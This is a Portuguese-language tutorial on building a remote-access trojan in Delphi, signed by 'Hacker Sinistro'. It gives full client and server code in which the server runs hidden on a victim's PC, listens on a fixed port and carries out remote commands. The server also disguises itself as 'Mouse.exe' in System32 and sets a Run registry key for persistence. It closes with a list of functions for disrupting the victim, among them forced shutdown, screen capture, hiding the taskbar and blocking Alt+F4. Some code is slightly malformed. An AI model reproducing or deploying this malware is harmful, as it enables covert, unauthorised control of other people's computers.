Em primeiro lugar, o Delphi é um ambiente de desenvolvimento de softwares que usa a linguagem object pascal com orientação a objetos.
*
Para se criar um trojan, você vai precisar de um pacote de componentes chamado DCLSocket. Para instalar esse pacote, abra o Delphi, clique em Component e depois em Install Packages. Depois, clique em Add e na janela que abrir, localize a pasta Bin, que fica dentro da pasta Delphi7 e ache o arquivo dclsockets70.bpl, clique em cima dele e depois em Abrir. Depois, clique em OK e pronto! O componente foi instalado!
*
Agora vou explicar como funciona a engenharia de um trojan. Ele funciona com dois executáveis: o cliente e o server. O server é executado no computador da sua vítima. Ele abre uma porta (definida por você) no pc da vítima para o cliente, que é executado no seu computador, se conectar ao computador-alvo.
*
Bem, ele funciona com o seguinte: o ClientSocket, que é um componente do pacote DCLSocket que é colocado no cliente, se conecta a um IP (o IP do server) e envia informações para o server. Essas informações são, geralmente, palavras (códigos). O server, ao receber esses códigos, converte-os em comando.
*
Vou dar um exemplo: o cliente envia o código "Mensagem". O server, ao receber, tem um propriedade que define que toda vez que o ServerSocket (outro componente do pacote DCLSocket, que é colocado no server) receber o código "Mensagem", ele vai realizar determinada ação. Nesse caso, vou colocar a ação como mostrar uma mensagem no pc do server. Entao, quando você se conectar ao server usando o cliente e clicar no botão que enviará o código "Mensagem" ao server, o server irá reconhecer e no PC da vítima (e não no seu), irá aparecer uma janelinha com uma mensagem
OBS: em vez de aparecer mensagem em janelinhas, você pode mudar a função que o server irá executar quando receber determinado texto. A ação que o server executa se chama Função. Nesse exemplo que eu dei, a função é de mostrar uma mensagem, mas você pode colocar a função que quiser .
1 - Crie um form chamado Cliente.
*
2 - Adicione um ClientSocket (palheta Internet), 4 botoes e um edit
*
3 - Em um dos botoes, coloque a propriedade (utilizando o ObjectInspector, que fica na parte esquerda e inferior do Delphi, e clicando em cima do botão apenas uma vez):
*
->Caption:
Conectar
*
->OnClick:
ClientSocket1.Host := Edit1.Text; //Define que o IP do server (ou seja, o IP q o cliente vai conectar), está digitado no Edit1
ClientSocket1.Port := 2507; //Define 2507 como a porta que o cliente vai usar para se conectar. Nota: a porta tem que ser a mesma no cliente e no server :)
ClientSocket1.Active := True;
//Ativa o ClientSocket e abre as conexões
*
4 - Em outro botao, coloque:
->Caption:
Desconectar
*
->OnClick:
ClientSocket1.Active := False; //Fecha as conexões do ClientSocket
ClientSocket1.Close; //Encerra o funcionamento do ClientSocket
*
5 - Mude as propriedades do ClientSocket:
->OnError:
Errorcode:=0; //Tira os erros, ou seja, caso dê erro na conexão, não vai abrir nenhuma janela
messagebox(form1.handle,'Erro!','Conexao', mb_ok+mb_iconinformation); //Mostra uma janelinha com uma mensagem caso dê algum erro
*
->OnConnect:
messagebox(form1.handle,'Conectado!','Conexao', mb_ok+mb_iconinformation); //Mostra uma janelinha com uma mensagem quando o cliente se conectar ao server
*
->OnDisconnect:
messagebox(form1.handle,'Desconectado!','Conexao', mb_ok+mb_iconinformation); //Mostra uma janelinha com uma mensagem quando o cliente se desconectar do server
*
6 - Limpe o text do Edit1.
7 - Em um botão, coloque as propriedades:
->Caption:
AbreCD
->OnClick:
ClientSocket1.Socket.SendText('Abrecd'); //Envia um código pro server, pra ele receber, ler e executar a função que está atribuída a esse código
8 - Em outro botão, coloque:
->Caption:
FechaCD
->OnClick:
ClientSocket1.Socket.SendText('Fechacd'); //Envia um código pro server, pra ele receber, ler e executar a função que está atribuída a esse código
9 - Clique File, depois em Save All e salve.
Depois, clique em Project e depois em Compile para compilar.
O executavel aparecerá na pasta que você salvou o projeto.
Criando o SERVER:
1 - Crie um form chamado Server.
*
2 - Adicione um ServerSocket e mude as propriedades:
->Port: 2507
(Define como 2507 a porta que vai ser deixada aberta pelo server para deixar o cliente se conectar)
*
->On Read(apague o BEGIN e cole o codigo abaixo):
var //Define o início de uma variável
hell : String;//Define "Hell" como o string(texto)
begin //inicia o código
hell := Socket.ReceiveText; //Define a string "Hell" como string de recebimento de texto, ou seja, Hell corresponde ao texto recebido pelo socket (aquele que o cliente enviou pro server receber, ler e executar...)
if hell = 'Abrecd' thenMciSendString('Set CdAudio Door Open',nil,0,Handle) //Define se o server receber um texto igual a "Abrecd", ele vai executar uma ação (essa é a atribuição que o código enviado pelo cliente recebe ao ser recebido e lido pelo server).
else if hell = 'Fechacd' thenMciSendString('Set CdAudio Door Closed',nil,0,Handle); //Define se o server receber um texto igual a "Fechacd", ele vai executar uma ação (essa é a atribuição que o código enviado pelo cliente recebe ao ser recebido e lido pelo server).
*
->OnError:
Errorcode:=0; //Tira os erros, ou seja, caso dê erro na conexão, não vai abrir nenhuma janela
*
->Active: True (mude depois de configurar o Read e a Port)
*
3 - No uses (fica na parte lá de cima do código do código-fonte do projeto), adicione esses itens:
"MMSystem" logo após "ScktComp"
4 - Para iniciar com o Windows, mude as propriedades:
*
->OnCreate:
*
VAR
reg:TRegIniFile;
s,a : string;
begin
a := Application.ExeName;
CopyFile(Pchar(a), Pchar('C:\Windows\System32\Mouse.exe'),false);//Define a pasta e o nome do executável que o arquivo vai ser salvo
s:= 'C:\Windows\System32\Mouse.exe'; //Define a pasta e o nome do executável que o arquivo vai ser salvo
Reg:=TRegIniFile.Create('full');
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.Openkey ('\Software\Microsoft\Windows\CurrentVersion',false); //Define a chave do registro que vai conter o registro do aplicativo na inicialização
reg.WriteString('Run', 'Mouse', s);
*
->No Uses, acrescente:
Adicionar "Registry"
*
->No VAR (perto do Uses, na parte de cima do código-fonto do projeto), acrescente:
Adicionar "reg:TRegIniFile;"
*
5 - Para o aplicativo ficar oculto, clique em Project, depois em ViewSource e adicionar abaixo deApplication.Initialize;
"Application.ShowMainForm := False;"
*
6 - Clique File, depois em Save All e salve.
Depois, clique em Project e depois em Compile para compilar.
O executavel aparecerá na pasta que você salvou o projeto.
Algumas funções para seu trojan
Abrir CD - mciSendString('Set cdaudio door open wait', nil, 0, handle);
Fechar CD - mciSendString('Set cdaudio door closed wait', nil, 0, handle);
*
Aplicar proteção de tela - SendMessage(Application.Handle, WM_SYSCOMMAND, SC_SCREENSAVE, 0);
*
Mudar resolução de tela 1 -
SetScreenResolution(1280, 1024);
Mudar resolução de tela 2 -
SetScreenResolution(800, 600);
Mudar resolução de tela 3 -
SetScreenResolution(1024, 768);
Mudar resolução de tela 4 -
SetScreenResolution(1152, 864);
*
Esconder ícones do desktop -ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE);
*
Mostrar ícones do desktop -ShowWindow(FindWindow(nil,'Program Manager'),SW_SHOW);
*
Esconder barra de tarefas -ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
*
Mostrar barra de tarefas -ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_RESTORE);
*
Esconder relógio - ShowWindow( FindWindowEx(FindWindowEx( FindWindow('Shell_TrayWnd', nil), HWND(0), 'TrayNotifyWnd', nil), HWND(0), 'TrayClockWClass', nil), Sw_Hide);
*
Mostrar relógio - ShowWindow( FindWindowEx(FindWindowEx( FindWindow('Shell_TrayWnd', nil), HWND(0), 'TrayNotifyWnd', nil), HWND(0), 'TrayClockWClass', nil), Sw_Show);
*
Desligadr monitor - SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 2);
Ligar monitor - SendMessage(Application.Handle, wm_SysCommand, SC_MonitorPower, 0);
Capturando o conteudo do DeskTop:
*
procedure TForm1.FormResize(Sender: TObject);
var
R : TRect;
DC : HDc;
Canv : TCanvas;
begin
R := Rect( 0, 0, Screen.Width, Screen.Height );
DC := GetWindowDC( GetDeskTopWindow );
Canv := TCanvas.Create;
Canv.Handle := DC;
Canvas.CopyRect( R, Canv, R );
ReleaseDC( GetDeskTopWindow, DC );
end;
*
Finalizando o Windows sem Avisar
*
ExitWindowsEx(EWX_FORCE+EWX_SHUTDOWN,0);
*
Imprimindo sem passar pelo gerenciador de impressão:
*
procedure TForm1.Button1Click(Sender: TObject);
var
F : TextFile; i : integer;
begin
AssignFile(F,’LPT1');
Rewrite(F);
i := 0;
Writeln(F,’Teste de impressao - Linha 0');
Writeln(F,’Teste de impressao - Linha 1');
Writeln(F,#27#15+’Teste de Impressão - Linha 2');
Writeln(F,’Teste de impressao - Linha 3');
Writeln(F,#27#18+’Teste de Impressão - Linha 4');
Writeln(F,’Teste de impressao - Linha 5');
Writeln(F,#12); // Ejeta a página
CloseFile(F);
*
Como Saber se o Cd está no Drive:
*
Function MidiaPresente(MediaPlayer: TMediaPlayer): Boolean;
var
Params: MCI_STATUS_PARMS;
S: array [0.255] of char;
r: Integer;
begin
//verifica se existe um cd inserido
Params.dwItem:= MCI_STATUS_MEDIA_PRESENT;
r:= MCISendCommand(MediaPlayer.DeviceID, MCI_STATUS,
MCI_STATUS_ITEM, Integer(Addr(Params)));
if r <> 0 then
begin
MCIGetErrorString(r, S, SizeOf(S));
ShowMessage('Erro: ' + StrPas(S));
end
else
Result:= Params.dwReturn = 1;
end;
*
Impedir ALT+F4
Coloque o seguinte código no evento onKeyDown, mas não esqueça de colocar a propriedade KeyPreview para True.
*
if ((ssAlt in Shift) and (Key = VK_F4)) then
Key := 0;
BY: Hacker Sinistro '